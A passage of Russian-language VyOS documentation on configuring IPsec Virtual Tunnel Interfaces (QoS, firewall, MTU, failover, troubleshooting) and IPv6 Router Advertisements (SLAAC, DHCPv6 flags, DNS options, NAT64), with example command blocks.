# Применить к входящему интерфейсу
set interfaces ethernet eth1 policy route CRITICAL

commit
```

### VTI с QoS

Traffic shaping на VTI:

```bash
# VTI интерфейс
set interfaces vti vti0 address 172.16.0.1/30

# Traffic policy
set traffic-policy shaper VPN-LIMIT bandwidth 100mbit
set traffic-policy shaper VPN-LIMIT default bandwidth 80mbit
set traffic-policy shaper VPN-LIMIT default ceiling 100mbit
set traffic-policy shaper VPN-LIMIT default priority 5

# Высокий приоритет для VoIP
set traffic-policy shaper VPN-LIMIT class 10 bandwidth 20mbit
set traffic-policy shaper VPN-LIMIT class 10 ceiling 30mbit
set traffic-policy shaper VPN-LIMIT class 10 priority 7
set traffic-policy shaper VPN-LIMIT class 10 match voip ip dscp ef

# Применить к VTI
set interfaces vti vti0 traffic-policy out VPN-LIMIT

commit
```

### VTI с firewall

Firewall на VTI для контроля трафика:

```bash
# Input firewall на VTI
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 inbound-interface name vti0
set firewall ipv4 input filter rule 100 state established
set firewall ipv4 input filter rule 100 state related

# Forward через VTI (разрешить только определенные порты)
set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 inbound-interface name vti0
set firewall ipv4 forward filter rule 200 destination port 80,443
set firewall ipv4 forward filter rule 200 protocol tcp

# Логирование отброшенных пакетов
set firewall ipv4 forward filter rule 299 action drop
set firewall ipv4 forward filter rule 299 inbound-interface name vti0
set firewall ipv4 forward filter rule 299 log

commit
```

### VTI с MTU tuning

Правильный MTU критичен для VTI:

```bash
# VTI MTU (IPsec overhead ~60-80 bytes)
set interfaces vti vti0 mtu 1400

# Или расчет: 1500 (Ethernet) - 20 (IP) - 8 (ESP) - 50 (IPsec overhead) = 1422
set interfaces vti vti0 mtu 1422

# MSS clamping для TCP
set firewall ipv4 forward filter rule 50 action accept
set firewall ipv4 forward filter rule 50 protocol tcp
set firewall ipv4 forward filter rule 50 tcp flags syn
set firewall ipv4 forward filter rule 50 tcp mss 1380

commit
```

### Redundant VTI (Primary/Backup)

```bash
# Primary VTI через ISP1
set interfaces vti vti0 address 172.16.0.1/30
set vpn ipsec site-to-site peer site-b-primary remote-address '203.0.113.2'
set vpn ipsec site-to-site peer site-b-primary vti bind 'vti0'

# Backup VTI через ISP2
set interfaces vti vti1 address 172.16.1.1/30
set vpn ipsec site-to-site peer site-b-backup remote-address '198.51.100.2'
set vpn ipsec site-to-site peer site-b-backup vti bind 'vti1'

# Routing с метриками (primary distance 10, backup distance 20)
set protocols static route 192.168.2.0/24 interface vti0 distance 10
set protocols static route 192.168.2.0/24 interface vti1 distance 20

commit
```

## Мониторинг и диагностика

### Проверка VTI статуса

```bash
# Список VTI интерфейсов
show interfaces vti

# Детали конкретного VTI
show interfaces vti vti0

# Статистика
show interfaces vti vti0 statistics

# Brief информация
show interfaces vti vti0 brief
```

Пример вывода:
```
vti0: <POINTOPOINT,NOARP,UP,LOWER_UP>
    inet 172.16.0.1/30
    RX:  bytes    packets     errors    dropped
         1.2 GB   850120      0         0
    TX:  bytes    packets     errors    dropped
         890 MB   720340      0         0
```

### Проверка IPsec SA

```bash
# IPsec Security Associations
show vpn ipsec sa

# Детальная информация
show vpn ipsec sa detail

# Конкретный peer
show vpn ipsec sa peer 203.0.113.2
```

### Проверка connectivity

```bash
# Ping VTI peer
ping 172.16.0.2

# Ping с source
ping 192.168.2.10 source-address 192.168.1.1

# Traceroute
traceroute 192.168.2.10

# MTU discovery
ping 192.168.2.10 size 1400 do-not-fragment
```

### Мониторинг routing

```bash
# Все маршруты
show ip route

# Маршруты через VTI
show ip route interface vti0

# OSPF маршруты
show ip route ospf

# BGP маршруты
show ip route bgp
```

### Логи и debugging

```bash
# IPsec логи
show log vpn ipsec

# Live monitoring
monitor log vpn

# Увеличить уровень логирования
set vpn ipsec logging level 2
commit

# Просмотр kernel messages
show log kernel | grep vti
```

### tcpdump на VTI

```bash
# Захват трафика на VTI (уже расшифрованный)
sudo tcpdump -i vti0 -n

# С детальным выводом
sudo tcpdump -i vti0 -n -v

# Сохранить в файл
sudo tcpdump -i vti0 -w /tmp/vti0.pcap

# Захват на физическом интерфейсе (зашифрованный ESP)
sudo tcpdump -i eth0 esp -n
```

## Troubleshooting

### VTI интерфейс в состоянии DOWN

**Проблема**: VTI интерфейс показывает DOWN.

**Причины**:
1. IPsec туннель не установлен
2. Неправильная привязка VTI к peer
3. Ошибки в IPsec конфигурации

**Диагностика**:
```bash
# Проверить IPsec SA
show vpn ipsec sa

# Проверить VTI binding
show interfaces vti vti0

# Kernel messages
dmesg | grep vti
```

**Решение**:
```bash
# Перезапустить IPsec
restart vpn ipsec

# Проверить привязку
show configuration vpn ipsec site-to-site peer site-b vti

# Убедиться что peer установлен
show vpn ipsec sa peer site-b
```

### Нет трафика через VTI

**Проблема**: VTI интерфейс UP, но нет связности.

**Причины**:
1. Отсутствуют маршруты
2. Firewall блокирует
3. NAT exclude правила

**Диагностика**:
```bash
# Проверить маршруты
show ip route

# Ping VTI peer
ping 172.16.0.2

# Firewall
show firewall ipv4 forward filter

# NAT rules
show nat source rules
```

**Решение**:
```bash
# Добавить маршрут
set protocols static route 192.168.2.0/24 interface vti0

# NAT exclude для VPN трафика
set nat source rule 10 outbound-interface name eth0
set nat source rule 10 source address 192.168.1.0/24
set nat source rule 10 destination address 192.168.2.0/24
set nat source rule 10 exclude

commit
```

### IPsec туннель постоянно переустанавливается

**Проблема**: IPsec SA постоянно down/up.

**Причины**:
1. MTU проблемы
2. Firewall блокирует keepalive
3. NAT traversal проблемы
4. Несовместимые lifetime настройки

**Решение**:
```bash
# Уменьшить MTU
set interfaces vti vti0 mtu 1400

# DPD (Dead Peer Detection)
set vpn ipsec site-to-site peer site-b dpd action 'restart'
set vpn ipsec site-to-site peer site-b dpd interval 30
set vpn ipsec site-to-site peer site-b dpd timeout 120

# NAT traversal
set vpn ipsec options nat-traversal enable

commit
```

### OSPF не работает через VTI

**Проблема**: OSPF neighbors не устанавливаются.

**Причины**:
1. VTI в состоянии DOWN
2. Неправильная OSPF network конфигурация
3. MTU mismatch
4. Authentication mismatch

**Диагностика**:
```bash
# OSPF neighbors
show ip ospf neighbor

# OSPF интерфейс
show ip ospf interface vti0

# OSPF debug
monitor protocol ospf
```

**Решение**:
```bash
# Привязать OSPF к VTI
set protocols ospf interface vti0 area 0

# Network type
set protocols ospf interface vti0 network point-to-point

# MTU
set interfaces vti vti0 mtu 1400

commit
```

### Асимметричный routing через VTI

**Проблема**: Трафик идет через VTI в одну сторону, но не обратно.

**Причины**:
1. Маршруты настроены только на одной стороне
2. Firewall блокирует return трафик
3. NAT проблемы

**Решение**:
```bash
# Убедиться что маршруты настроены на обеих сторонах
# Site A:
set protocols static route 192.168.2.0/24 interface vti0

# Site B:
set protocols static route 192.168.1.0/24 interface vti0

# Или использовать динамический routing (OSPF/BGP)
```

## Примеры конфигураций

### Пример 1: Простой Site-to-Site с статическими маршрутами

**Топология**:
- Site A: 192.168.1.0/24, WAN 203.0.113.1
- Site B: 192.168.2.0/24, WAN 203.0.113.2
- VTI: 172.16.0.0/30

**Site A**:
```bash
# VTI
set interfaces vti vti0 address 172.16.0.1/30
set interfaces vti vti0 description 'IPsec to Site B'

# IPsec
set vpn ipsec authentication psk site-b id '203.0.113.1'
set vpn ipsec authentication psk site-b id '203.0.113.2'
set vpn ipsec authentication psk site-b secret 'MyStrongSecret123!'

set vpn ipsec ike-group IKE-SITEB key-exchange ikev2
set vpn ipsec ike-group IKE-SITEB lifetime 28800
set vpn ipsec ike-group IKE-SITEB proposal 1 dh-group 14
set vpn ipsec ike-group IKE-SITEB proposal 1 encryption aes256
set vpn ipsec ike-group IKE-SITEB proposal 1 hash sha256

set vpn ipsec esp-group ESP-SITEB lifetime 3600
set vpn ipsec esp-group ESP-SITEB pfs dh-group14
set vpn ipsec esp-group ESP-SITEB proposal 1 encryption aes256
set vpn ipsec esp-group ESP-SITEB proposal 1 hash sha256

set vpn ipsec site-to-site peer site-b authentication mode pre-shared-secret
set vpn ipsec site-to-site peer site-b authentication pre-shared-secret site-b
set vpn ipsec site-to-site peer site-b connection-type initiate
set vpn ipsec site-to-site peer site-b ike-group IKE-SITEB
set vpn ipsec site-to-site peer site-b default-esp-group ESP-SITEB
set vpn ipsec site-to-site peer site-b local-address 203.0.113.1
set vpn ipsec site-to-site peer site-b remote-address 203.0.113.2
set vpn ipsec site-to-site peer site-b vti bind vti0
set vpn ipsec site-to-site peer site-b vti esp-group ESP-SITEB

set vpn ipsec options disable-route-autoinstall

# Static route
set protocols static route 192.168.2.0/24 interface vti0

commit
save
```

### Пример 2: Hub-and-Spoke с OSPF

**Hub**:
```bash
# VTI к трем Spoke
set interfaces vti vti1 address 172.16.1.1/30
set interfaces vti vti2 address 172.16.2.1/30
set interfaces vti vti3 address 172.16.3.1/30

# IPsec peers (упрощенно)
set vpn ipsec site-to-site peer spoke1 remote-address 203.0.113.11
set vpn ipsec site-to-site peer spoke1 vti bind vti1
# ... (IKE, ESP, auth)

set vpn ipsec site-to-site peer spoke2 remote-address 203.0.113.12
set vpn ipsec site-to-site peer spoke2 vti bind vti2

set vpn ipsec site-to-site peer spoke3 remote-address 203.0.113.13
set vpn ipsec site-to-site peer spoke3 vti bind vti3

# OSPF
set protocols ospf parameters router-id 10.0.0.1
set protocols ospf area 0 network 172.16.1.0/30
set protocols ospf area 0 network 172.16.2.0/30
set protocols ospf area 0 network 172.16.3.0/30
set protocols ospf area 0 network 10.0.0.0/24

commit
```

**Spoke 1**:
```bash
set interfaces vti vti1 address 172.16.1.2/30

set vpn ipsec site-to-site peer hub remote-address 203.0.113.1
set vpn ipsec site-to-site peer hub vti bind vti1

set protocols ospf parameters router-id 10.1.0.1
set protocols ospf area 0 network 172.16.1.0/30
set protocols ospf area 0 network 10.1.0.0/24

commit
```

### Пример 3: Redundant VPN с automatic failover

```bash
# Primary VTI
set interfaces vti vti0 address 172.16.0.1/30
set interfaces vti vti0 description 'Primary VPN'

# Backup VTI
set interfaces vti vti1 address 172.16.1.1/30
set interfaces vti vti1 description 'Backup VPN'

# IPsec primary
set vpn ipsec site-to-site peer primary remote-address 203.0.113.2
set vpn ipsec site-to-site peer primary vti bind vti0
# ... (IKE, ESP, auth)

# IPsec backup
set vpn ipsec site-to-site peer backup remote-address 198.51.100.2
set vpn ipsec site-to-site peer backup vti bind vti1
# ... (IKE, ESP, auth)

# OSPF через оба туннеля
set protocols ospf interface vti0 area 0
set protocols ospf interface vti0 cost 10
set protocols ospf interface vti0 bfd

set protocols ospf interface vti1 area 0
set protocols ospf interface vti1 cost 20
set protocols ospf interface vti1 bfd

# BFD для быстрого failover
set protocols bfd peer 172.16.0.2 interval receive 300
set protocols bfd peer 172.16.0.2 interval transmit 300

set protocols bfd peer 172.16.1.2 interval receive 300
set protocols bfd peer 172.16.1.2 interval transmit 300

commit
```

## Лучшие практики

1. **Используйте VTI для route-based VPN**:
   - Когда нужен динамический routing
   - Множество подсетей
   - Гибкая маршрутизация

2. **MTU конфигурация**:
   - VTI MTU: 1400-1422
   - Тестируйте MTU: `ping <ip> size 1400 do-not-fragment`
   - MSS clamping для TCP: 1380

3. **Динамический routing**:
   - OSPF для простых топологий
   - BGP для complex routing policies
   - BFD для быстрого failover

4. **Безопасность**:
   - Используйте сильное шифрование (AES-256, SHA-256)
   - PFS (Perfect Forward Secrecy)
   - Регулярная ротация ключей

5. **Monitoring**:
   - Отслеживайте VTI status
   - IPsec SA lifetime
   - Routing через VTI
   - Bandwidth utilization

6. **Redundancy**:
   - Primary/Backup VTI туннели
   - BFD для быстрого failover
   - OSPF/BGP для automatic rerouting

7. **QoS**:
   - Traffic shaping на VTI для критичных приложений
   - Приоритизация VoIP/video трафика

8. **Firewall**:
   - Контроль трафика через VTI
   - Логирование для security audit

9. **Описания**:
   - Добавляйте description к VTI интерфейсам
   - Документируйте назначение каждого туннеля

10. **Тестирование**:
    - Тестируйте failover
    - Проверяйте connectivity
    - Мониторьте performance

## Заключение

VTI (Virtual Tunnel Interface) предоставляет гибкий и масштабируемый подход к построению IPsec VPN. Основные преимущества:

- **Динамический routing** через туннель (OSPF, BGP)
- **Гибкая маршрутизация** без сложных traffic selectors
- **Масштабируемость** для множества подсетей
- **QoS и firewall** на VTI интерфейсе
- **Мониторинг** как обычного интерфейса

VTI идеален для:
- Enterprise site-to-site VPN
- Hub-and-spoke топологии
- Сложные сетевые архитектуры с динамическим routing
- Redundant VPN с automatic failover

Используйте VTI когда нужна гибкость и масштабируемость route-based VPN. Для простых site-to-site сценариев policy-based IPsec может быть проще.


---

# Router Advertisements в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-router-advert/


Router Advertisements (RA) - это механизм IPv6, позволяющий роутерам автоматически конфигурировать сетевые параметры клиентов через периодические объявления. RA является ключевой частью SLAAC (Stateless Address Autoconfiguration) и определен в RFC 4861.

## Обзор

Router Advertisements обеспечивают:

- **SLAAC (Stateless Address Autoconfiguration)**: Автоматическое создание IPv6 адресов клиентами
- **Prefix delegation**: Объявление сетевых префиксов
- **Default gateway**: Информирование о маршрутизаторе по умолчанию
- **DNS configuration**: Передача DNS-серверов и доменов поиска
- **MTU configuration**: Объявление MTU для сети
- **Router lifetime**: Время жизни маршрута по умолчанию
- **Managed/Other flags**: Управление режимами DHCPv6

**Протокол**: ICMPv6, тип 134 (Router Advertisement)

**RFC**: RFC 4861 (Neighbor Discovery), RFC 4862 (SLAAC)

## SLAAC vs DHCPv6

Router Advertisements работают совместно с DHCPv6 через флаги управления:

| Режим | Managed Flag | Other Flag | Описание |
|-------|--------------|------------|----------|
| **SLAAC только** | 0 | 0 | Полная автоконфигурация через RA |
| **Stateless DHCPv6** | 0 | 1 | Адреса через SLAAC, параметры через DHCPv6 |
| **Stateful DHCPv6** | 1 | 1 | Адреса и параметры через DHCPv6 |
| **SLAAC + DNS через RA** | 0 | 0 | SLAAC с RDNSS/DNSSL в RA |

### Выбор режима

- **SLAAC только**: Простые сети без централизованного управления
- **Stateless DHCPv6**: Когда нужны дополнительные параметры (DNS, NTP)
- **Stateful DHCPv6**: Централизованное управление и отслеживание клиентов
- **SLAAC + RDNSS**: Современный подход с DNS в RA

## Базовая конфигурация

### Простой Router Advertisement

```bash
# IPv6 адрес на интерфейсе
set interfaces ethernet eth0 address 2001:db8:1::1/64

# Включение RA на интерфейсе
set service router-advert interface eth0

# Объявление префикса
set service router-advert interface eth0 prefix 2001:db8:1::/64

commit
save
```

Клиенты автоматически создадут адреса в префиксе 2001:db8:1::/64 используя SLAAC.

### RA с автоматическим определением префикса

```bash
# Использование ::/64 для автоопределения
set service router-advert interface eth0 prefix ::/64

commit
save
```

Префикс `::/64` автоматически использует префикс, настроенный на интерфейсе.

### RA с DNS серверами

```bash
# Router Advertisement с RDNSS (Recursive DNS Server)
set service router-advert interface eth0 prefix 2001:db8:1::/64
set service router-advert interface eth0 name-server 2001:4860:4860::8888
set service router-advert interface eth0 name-server 2001:4860:4860::8844

# DNS search domain (DNSSL)
set service router-advert interface eth0 dnssl example.com

commit
save
```

## Расширенная конфигурация

### Managed и Other-Config флаги

#### Managed Flag (Stateful DHCPv6)

```bash
# Клиенты получают адреса через DHCPv6
set service router-advert interface eth0 prefix 2001:db8:1::/64
set service router-advert interface eth0 managed-flag

# Требует настройки DHCPv6 сервера
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200
set service dhcpv6-server shared-network-name LAN interface eth0

commit
save
```

#### Other-Config Flag (Stateless DHCPv6)

```bash
# Адреса через SLAAC, параметры через DHCPv6
set service router-advert interface eth0 prefix 2001:db8:1::/64
set service router-advert interface eth0 other-config-flag

# DHCPv6 только для параметров (без address-range)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
set service dhcpv6-server shared-network-name LAN interface eth0

commit
save
```

### Интервалы отправки RA

```bash
# Максимальный интервал (сек) между RA
set service router-advert interface eth0 interval max 600

# Минимальный интервал (сек)
set service router-advert interface eth0 interval min 200

commit
save
```

По умолчанию: max=600 сек (10 минут), min=200 сек.

### Router Preference

Приоритет маршрутизатора при наличии нескольких:

```bash
set service router-advert interface eth0 default-preference <low|medium|high>
```

Примеры:

```bash
# Высокий приоритет (предпочтительный роутер)
set service router-advert interface eth0 default-preference high

# Средний приоритет (по умолчанию)
set service router-advert interface eth0 default-preference medium

# Низкий приоритет (резервный роутер)
set service router-advert interface eth0 default-preference low

commit
save
```

### Link MTU

Объявление MTU для сети:

```bash
set service router-advert interface eth0 link-mtu 1500

commit
save
```

### Hop Limit

Значение hop limit для исходящих пакетов:

```bash
set service router-advert interface eth0 hop-limit 64

commit
save
```

По умолчанию: 64 (стандартное значение IPv6).

### Reachable Time

Время достижимости соседа (миллисекунды):

```bash
set service router-advert interface eth0 reachable-time 30000

commit
save
```

### Retransmit Timer

Таймер повторной передачи Neighbor Solicitation (миллисекунды):

```bash
set service router-advert interface eth0 retrans-timer 1000

commit
save
```

### Router Lifetime

Время жизни маршрута по умолчанию (секунды):

```bash
set service router-advert interface eth0 default-lifetime 1800

commit
save
```

По умолчанию: 1800 сек (30 минут).

Значение 0 означает, что роутер не должен использоваться как default gateway.

### Отключение RA

#### No-Send-Advert

Полное отключение периодических RA:

```bash
set service router-advert interface eth0 no-send-advert

commit
save
```

Интерфейс все еще будет отвечать на Router Solicitation.

#### No-Send-Interval

Отключение Mobile IPv6 interval option:

```bash
set service router-advert interface eth0 no-send-interval

commit
save
```

## Префиксы (Prefix Configuration)

### Опции префикса

#### Autonomous Flag

Разрешение SLAAC (по умолчанию включен):

```bash
# Отключить SLAAC для этого префикса
set service router-advert interface eth0 prefix 2001:db8:1::/64 no-autonomous-flag

commit
save
```

#### On-Link Flag

Префикс доступен в локальной сети (по умолчанию включен):

```bash
# Префикс не в локальной сети
set service router-advert interface eth0 prefix 2001:db8:1::/64 no-on-link-flag

commit
save
```

#### Preferred Lifetime

Preferred lifetime для адресов (секунды):

```bash
set service router-advert interface eth0 prefix 2001:db8:1::/64 preferred-lifetime 604800

commit
save
```

По умолчанию: 604800 сек (7 дней).

Значение `infinity` означает бесконечный lifetime.

#### Valid Lifetime

Valid lifetime для адресов (секунды):

```bash
set service router-advert interface eth0 prefix 2001:db8:1::/64 valid-lifetime 2592000

commit
save
```

По умолчанию: 2592000 сек (30 дней).

### Множественные префиксы

```bash
# Объявление нескольких префиксов
set service router-advert interface eth0 prefix 2001:db8:1::/64
set service router-advert interface eth0 prefix 2001:db8:2::/64
set service router-advert interface eth0 prefix 2001:db8:3::/64

# Разные параметры для разных префиксов
set service router-advert interface eth0 prefix 2001:db8:1::/64 preferred-lifetime 604800
set service router-advert interface eth0 prefix 2001:db8:2::/64 preferred-lifetime 86400
set service router-advert interface eth0 prefix 2001:db8:3::/64 no-autonomous-flag

commit
save
```

## NAT64 Prefix

NAT64 позволяет IPv6-only клиентам обращаться к IPv4 ресурсам.

### Базовая настройка NAT64

```bash
# Объявление NAT64 префикса
set service router-advert interface eth0 nat64prefix 64:ff9b::/96

commit
save
```

Well-known NAT64 prefix: `64:ff9b::/96`

### Поддерживаемые маски NAT64

NAT64 префикс может использовать:
- /32
- /40
- /48
- /56
- /64
- /96 (well-known prefix)

Примеры:

```bash
# Well-known prefix (96-bit)
set service router-advert interface eth0 nat64prefix 64:ff9b::/96

# Organization-specific (64-bit)
set service router-advert interface eth0 nat64prefix 2001:db8:64::/64

# Network-specific (96-bit)
set service router-advert interface eth0 nat64prefix 2001:db8:1:64::/96

commit
save
```

### NAT64 Valid Lifetime

```bash
# Время жизни NAT64 префикса (секунды)
set service router-advert interface eth0 nat64prefix 64:ff9b::/96 valid-lifetime 65528

commit
save
```

По умолчанию: 65528 секунд.

## DNS Configuration (RDNSS и DNSSL)

### RDNSS (Recursive DNS Server)

```bash
# DNS серверы через RA
set service router-advert interface eth0 name-server 2001:4860:4860::8888
set service router-advert interface eth0 name-server 2001:4860:4860::8844
set service router-advert interface eth0 name-server 2001:db8:1::53

commit
save
```

### RDNSS Lifetime

```bash
# Время жизни DNS записей (секунды)
set service router-advert interface eth0 name-server 2001:4860:4860::8888 lifetime 300

commit
save
```

По умолчанию: используется router lifetime.

### DNSSL (DNS Search List)

```bash
# Домены поиска
set service router-advert interface eth0 dnssl example.com
set service router-advert interface eth0 dnssl corp.example.com
set service router-advert interface eth0 dnssl lab.example.com

commit
save
```

### DNSSL Lifetime

```bash
# Время жизни search list (секунды)
set service router-advert interface eth0 dnssl example.com lifetime 300

commit
save
```

## Поддерживаемые типы интерфейсов

Router Advertisements поддерживаются на:

- **ethernet** - физические Ethernet интерфейсы
- **bonding** - bond интерфейсы
- **bridge** - мостовые интерфейсы
- **vxlan** - VXLAN туннели
- **geneve** - Geneve туннели
- **l2tpv3** - L2TPv3 туннели
- **openvpn** - OpenVPN интерфейсы
- **pseudo-ethernet** - псевдо-Ethernet (VLAN)
- **tunnel** - туннельные интерфейсы
- **wireguard** - WireGuard VPN
- **wireless** - беспроводные интерфейсы
- **wwan** - беспроводные WAN интерфейсы

## Примеры конфигураций

### Пример 1: Простой SLAAC

```bash
# IPv6 на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64

# Router Advertisement для SLAAC
set service router-advert interface eth1 prefix 2001:db8:1::/64

# DNS через RDNSS
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8844
set service router-advert interface eth1 dnssl example.com

commit
save
```

Клиенты создадут адреса вида `2001:db8:1::xxxx:xxxx:xxxx:xxxx`.

### Пример 2: Stateless DHCPv6 + SLAAC

```bash
# IPv6 на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64

# Router Advertisement с other-config flag
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 other-config-flag

# DHCPv6 для параметров (без адресов)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8844
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
set service dhcpv6-server shared-network-name LAN interface eth1

commit
save
```

Адреса через SLAAC, DNS и домен через DHCPv6.

### Пример 3: Stateful DHCPv6

```bash
# IPv6 на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64

# Router Advertisement с managed flag
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 managed-flag
set service router-advert interface eth1 other-config-flag

# DHCPv6 для адресов и параметров
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
set service dhcpv6-server shared-network-name LAN interface eth1

commit
save
```

Полное управление через DHCPv6.

### Пример 4: Множественные префиксы

```bash
# Множественные IPv6 адреса на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64
set interfaces ethernet eth1 address 2001:db8:2::1/64
set interfaces ethernet eth1 address 2001:db8:3::1/64

# RA для всех префиксов
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 prefix 2001:db8:2::/64
set service router-advert interface eth1 prefix 2001:db8:3::/64

# DNS
set service router-advert interface eth1 name-server 2001:4860:4860::8888

commit
save
```

### Пример 5: RA с NAT64

```bash
# IPv6 на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64

# Router Advertisement с NAT64
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 nat64prefix 64:ff9b::/96

# DNS64 сервер
set service router-advert interface eth1 name-server 2001:db8:1::53

commit
save
```

IPv6-only клиенты смогут обращаться к IPv4 через NAT64.

### Пример 6: Высокий приоритет роутера

```bash
# Основной роутер с высоким приоритетом
set interfaces ethernet eth1 address 2001:db8:1::1/64

set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 default-preference high
set service router-advert interface eth1 default-lifetime 3600

# DNS
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 dnssl example.com

commit
save
```

### Пример 7: Резервный роутер

```bash
# Резервный роутер с низким приоритетом
set interfaces ethernet eth1 address 2001:db8:1::2/64

set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 default-preference low
set service router-advert interface eth1 default-lifetime 1800

commit
save
```

### Пример 8: RA на множественных интерфейсах

```bash
# LAN 1
set interfaces ethernet eth1 address 2001:db8:1::1/64
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 name-server 2001:4860:4860::8888

# LAN 2
set interfaces ethernet eth2 address 2001:db8:2::1/64
set service router-advert interface eth2 prefix 2001:db8:2::/64
set service router-advert interface eth2 name-server 2001:4860:4860::8888

# LAN 3 (Guest)
set interfaces ethernet eth3 address 2001:db8:100::1/64
set service router-advert interface eth3 prefix 2001:db8:100::/64
set service router-advert interface eth3 default-lifetime 600  # Короткий lifetime для guest

commit
save
```

### Пример 9: RA на VLAN

```bash
# VLAN 10 - Management
set interfaces ethernet eth1 vif 10 address 2001:db8:10::1/64
set service router-advert interface eth1.10 prefix 2001:db8:10::/64
set service router-advert interface eth1.10 managed-flag
set service router-advert interface eth1.10 name-server 2001:db8:10::53

# DHCPv6 для management
set service dhcpv6-server shared-network-name MGMT subnet 2001:db8:10::/64 address-range start 2001:db8:10::100 stop 2001:db8:10::150
set service dhcpv6-server shared-network-name MGMT interface eth1.10

# VLAN 20 - Users
set interfaces ethernet eth1 vif 20 address 2001:db8:20::1/64
set service router-advert interface eth1.20 prefix 2001:db8:20::/64
set service router-advert interface eth1.20 other-config-flag

# VLAN 30 - Guest (SLAAC only)
set interfaces ethernet eth1 vif 30 address 2001:db8:30::1/64
set service router-advert interface eth1.30 prefix 2001:db8:30::/64
set service router-advert interface eth1.30 name-server 2001:4860:4860::8888

commit
save
```

### Пример 10: RA на Bridge

```bash
# Bridge интерфейс
set interfaces bridge br0 address 2001:db8:1::1/64
set interfaces bridge br0 member interface eth2
set interfaces bridge br0 member interface eth3

# Router Advertisement на bridge
set service router-advert interface br0 prefix 2001:db8:1::/64
set service router-advert interface br0 name-server 2001:4860:4860::8888
set service router-advert interface br0 dnssl example.com

commit
save
```

### Пример 11: Короткие интервалы для быстрой конвергенции

```bash
# Быстрые RA для тестирования или критичных приложений
set interfaces ethernet eth1 address 2001:db8:1::1/64

set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 interval max 30    # 30 секунд
set service router-advert interface eth1 interval min 10    # 10 секунд

commit
save
```

### Пример 12: Кастомные lifetime параметры

```bash
# Различные lifetime для разных целей
set interfaces ethernet eth1 address 2001:db8:1::1/64

set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 prefix 2001:db8:1::/64 preferred-lifetime 86400    # 1 день
set service router-advert interface eth1 prefix 2001:db8:1::/64 valid-lifetime 604800       # 7 дней

set service router-advert interface eth1 default-lifetime 1800                              # 30 минут
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8888 lifetime 600      # 10 минут

commit
save
```

## Мониторинг и диагностика

### Просмотр конфигурации RA

```bash
show configuration service router-advert
```

### Проверка IPv6 на интерфейсе

```bash
show interfaces ethernet eth1
```

Убедитесь что IPv6 адрес назначен и интерфейс UP.

### Проверка IPv6 routing

```bash
show ipv6 route
```

### Логи RA

```bash
# Логи radvd (RA демона)
show log | match radvd

# Real-time мониторинг
monitor log | match radvd
```

### Тестирование с клиента

На Linux клиенте:

```bash
# Просмотр полученных RA
sudo radvdump

# Пример вывода:
# Router advertisement from fe80::1 (hoplimit 64)
#         Prefix 2001:db8:1::/64
#         Prefix options: onlink autoconf
#         Preferred lifetime 604800, valid lifetime 2592000

# Просмотр IPv6 адресов
ip -6 addr show eth0

# Пример вывода:
# inet6 2001:db8:1::a00:27ff:fe8d:c04d/64 scope global dynamic
# inet6 fe80::a00:27ff:fe8d:c04d/64 scope link

# Просмотр default gateway
ip -6 route show

# Пример вывода:
# default via fe80::1 dev eth0 proto ra metric 1024
```

На Windows:

```powershell
# Просмотр IPv6 адресов
ipconfig

# Детальная информация
netsh interface ipv6 show address

# Routing table
netsh interface ipv6 show route
```

### Проверка SLAAC адресов

```bash
# На роутере - сканирование IPv6 neighbors
show ipv6 neighbors

# Пример вывода:
# IPv6 Address                            Age Hardware Address State Interface
# 2001:db8:1::a00:27ff:fe8d:c04d         0   08:00:27:8d:c0:4d REACH eth1
# fe80::a00:27ff:fe8d:c04d               0   08:00:27:8d:c0:4d REACH eth1
```

### ICMPv6 статистика

```bash
show ipv6 icmpv6 statistics
```

Смотрите на "Router Advertisement" секцию.

## Устранение неполадок

### Проблема: Клиенты не получают IPv6 адреса

**Диагностика**:

```bash
# 1. Проверка RA конфигурации
show configuration service router-advert

# 2. Проверка IPv6 на интерфейсе
show interfaces ethernet eth1

# 3. Проверка IPv6 forwarding
sysctl net.ipv6.conf.all.forwarding

# 4. Логи
show log | match radvd

# 5. Firewall
show firewall ipv6
```

**Решение**:

```bash
# Убедиться что IPv6 forwarding включен (автоматически при настройке интерфейсов)
# Проверить firewall - ICMPv6 должен быть разрешен

# Разрешить ICMPv6 Router Advertisement
set firewall ipv6 name LAN_LOCAL rule 100 action accept
set firewall ipv6 name LAN_LOCAL rule 100 protocol ipv6-icmp
